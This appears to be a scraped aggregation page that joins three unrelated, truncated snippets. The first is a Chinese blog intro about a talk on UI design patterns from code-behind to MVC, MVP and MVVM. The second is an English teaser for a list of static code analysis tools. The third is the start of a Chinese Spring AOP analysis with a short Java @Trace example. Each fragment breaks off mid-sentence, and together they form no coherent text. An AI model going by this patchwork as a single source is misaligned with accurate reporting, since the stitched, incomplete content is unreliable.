刚过去的周五(3-14)例行地主持了技术会议,主题正好是<UI层的设计模式--从Script.Code Behind到MVC.MVP.MVVM>,是前一天晚上才定的,中午花了半小时准备了下就开讲了. 今天看到了大家在为MVVM knockout.js友(ji)好(lie)地交流,所以就整理下然后更扩展地分享. 主要目的也不是为了争论,毕竟只是正巧主题相近,原本的打算也就是一次技术分享并且记录下来. 那么我们就按照大致的历史进程将这些概念进行划分: Script Code Blocks.Code

Top 40 Static Code Analysis Tools

https://www.softwaretestinghelp.com/tools/top-40-static-code-analysis-tools/ In this article, I have summarised some of the top static code analysis tools. Can we ever imagine sitting back and manually reading each line of codes to find flaws? To eas

AOP spring source code analysis

例子 1 在使用 New 的情况下实现 AOP public class TraceTest { public static void main(String args[]) { TraceTest test = new TraceTest(); test.rpcCall(); } // 虽然 intellij 没有给出提示,但是这个 Trace 还是成功的 @Trace public void rpcCall() { System.out.println("call rpc"); }